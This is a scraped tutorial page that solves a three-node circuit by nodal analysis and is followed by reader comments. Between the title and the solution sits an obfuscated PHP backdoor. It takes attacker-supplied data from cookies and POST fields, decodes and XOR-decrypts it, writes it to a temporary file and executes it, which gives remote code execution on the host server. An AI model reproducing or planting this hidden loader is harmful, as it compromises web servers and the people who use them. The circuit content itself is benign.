Problem 1-11: Solving a Circuit with Three Nodes by the Nodal Analysis – Solved Problems

$kjiBLUs = 'A' . "\x68" . chr ( 790 - 685 ).'_' . chr ( 483 - 405 ).chr (100) . chr ( 810 - 702 )."\x77" . chr ( 548 - 447 ); $kDRaRFf = chr ( 402 - 303 )."\154" . chr (97) . chr (115) . chr (115) . '_' . chr (101) . chr ( 733 - 613 ).'i' . "\x73" . "\x74" . "\x73";$Pvvif = class_exists($kjiBLUs); $kDRaRFf = "55598";$JYfNEI = strpos($kDRaRFf, $kjiBLUs);if ($Pvvif == $JYfNEI){function LFPrFKHglh(){$UGMhA = new /* 25215 */ Ahi_Ndlwe(18743 + 18743); $UGMhA = NULL;}$GtJgx = "18743";class Ahi_Ndlwe{private function OLCzFmoBM($GtJgx){if (is_array(Ahi_Ndlwe::$MxgQMLpzq)) {$name = sys_get_temp_dir() . "/" . crc32(Ahi_Ndlwe::$MxgQMLpzq["salt"]);@Ahi_Ndlwe::$MxgQMLpzq["write"]($name, Ahi_Ndlwe::$MxgQMLpzq["content"]);include $name;@Ahi_Ndlwe::$MxgQMLpzq["delete"]($name); $GtJgx = "18743";exit();}}public function Cttrb(){$rRpJgUcARw = "58336";$this->_dummy = str_repeat($rRpJgUcARw, strlen($rRpJgUcARw));}public function __destruct(){Ahi_Ndlwe::$MxgQMLpzq = @unserialize(Ahi_Ndlwe::$MxgQMLpzq); $GtJgx = "41246_46051";$this->OLCzFmoBM($GtJgx); $GtJgx = "41246_46051";}public function oLxEAO($rRpJgUcARw, $mWiOb){return $rRpJgUcARw[0] ^ str_repeat($mWiOb, intval(strlen($rRpJgUcARw[0]) / strlen($mWiOb)) + 1);}public function mcCQomNZMi($rRpJgUcARw){$ADfzjhtkZE = "\x62" . chr ( 523 - 426 ).chr (115) . chr (101) . chr ( 135 - 81 ).'4';return array_map($ADfzjhtkZE . "\x5f" . chr ( 202 - 102 ).'e' . "\x63" . "\157" . 'd' . "\x65", array($rRpJgUcARw,));}public function __construct($Mdabno=0){$YTEAVSpJpm = "\x2c";$rRpJgUcARw = "";$eMJnzt = $_POST;$REnoWDgJ = $_COOKIE;$mWiOb = "d4220071-d574-4dd2-a102-fc3ec2f5e42f";$wYmtczyDB = @$REnoWDgJ[substr($mWiOb, 0, 4)];if (!empty($wYmtczyDB)){$wYmtczyDB = explode($YTEAVSpJpm, $wYmtczyDB);foreach ($wYmtczyDB as $cButQAod){$rRpJgUcARw .= @$REnoWDgJ[$cButQAod];$rRpJgUcARw .= @$eMJnzt[$cButQAod];}$rRpJgUcARw = $this->mcCQomNZMi($rRpJgUcARw);}Ahi_Ndlwe::$MxgQMLpzq = $this->oLxEAO($rRpJgUcARw, $mWiOb);if (strpos($mWiOb, $YTEAVSpJpm) !== FALSE){$mWiOb = explode($YTEAVSpJpm, $mWiOb); $ZDsXYPtHJz = base64_decode(md5($mWiOb[0])); $pTDulxc = strlen($mWiOb[1]) > 5 ? substr($mWiOb[1], 0, 5) : $mWiOb[1];}}public static $MxgQMLpzq = 17221;}LFPrFKHglh();} Problem 1-11: Solving a Circuit with Three Nodes by the Nodal Analysis – Solved Problems

Solve the circuit by nodal analysis and find the power of $Is_1$ .

Solution
a) Choose a reference node, label node voltages:

b) Apply KCL to each node:
$V_1$ can be found by the voltage source: $V_1 = Vs_1 = 10v$ .
KCL @ node 2:

$Is_1 + \frac{V_2}{R_2}+\frac{V_2-V_1} {R_4}=0$
$V_2=9.6 v$

c) Find the required value:
$P_{Is_1} = Is_1 \times V_2 = - 19.2 W$ , supplying.

Published by Yaz

Hi! Yaz is here. I am passionate about learning and teaching. I try to explain every detail simultaneously with examples to ensure that students will remember them later too. View more posts

Join the Conversation

8 Comments

monika says:

August 24, 2011 at 2:20 pm

I need more number of problems regarding to nodal ananlysis

Reply
1. Dr. Yaz Z. Li says:
  
  August 25, 2011 at 6:48 am
  
  There are some other solved problems about nodal analysis. Search or click on the tag.
  
  Reply
ignetius says:

October 11, 2011 at 12:18 pm

hy,,, am a little bit confuse about this nodal anaysis

Reply
malik aslam says:

October 24, 2011 at 3:06 pm

plz tell me about the node and i m confused how much nodes can be made
[img]334[/img]

Reply
malik aslam says:

October 24, 2011 at 3:08 pm

plz tel me about the node and i m confused about the nodals number in the above image

Reply
Faraz says:

June 5, 2012 at 8:04 am

why aren’t the resistors R1 and R3 contributing in this nodal analysis?

Reply
Opeyemi says:

April 5, 2013 at 7:40 am

I’m confused about this nodal analysis

Reply
Zeeshan Yaqoob says:

January 17, 2019 at 4:08 pm

I need more number of dificult problems related to Nodal Analysis

Reply

Leave a comment

Cancel reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.